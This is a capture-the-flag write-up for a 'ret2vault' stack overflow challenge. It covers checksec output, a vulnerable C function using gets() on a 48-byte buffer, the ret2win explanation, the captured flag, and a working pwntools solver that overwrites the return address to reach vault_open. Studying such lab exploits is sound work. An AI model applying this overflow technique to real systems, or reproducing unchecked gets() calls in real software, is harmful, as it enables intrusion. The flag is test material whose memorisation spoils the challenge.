ret2vault

Walkthrough

Reconnaissance

pwndbg> checksec ./vault
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Vulnerability

void vault_open() { system("cat flag.txt"); }
void check_access() {
    char code[48];
    gets(code);  // unlimited overflow!
}

Classic ret2win: overflow code[48] + 8 bytes of RBP to overwrite the return address with vault_open().

Result

Vault Access System
Enter access code:
Securinets_fst{v4ult_br34ch3d_w1th_0v3rfl0w}

Reference solver

The reference solver supplied with the writeup:

from pwn import *

# Start process
p = remote('localhost',7005)
elf = ELF('./main')

# Wait for prompt
p.recvuntil(b'code: ')
ret_gadget = 0x40101a  # Simple 'ret' instruction

payload = b'A' * 56
payload += p64(ret_gadget)      # Extra ret for alignment
payload += p64(elf.sym['vault_open'])
p.sendline(payload)
output = p.recvall(timeout=2).decode()
print(output)

Flag

Securinets_fst{v4ult_br34ch3d_w1th_0v3rfl0w}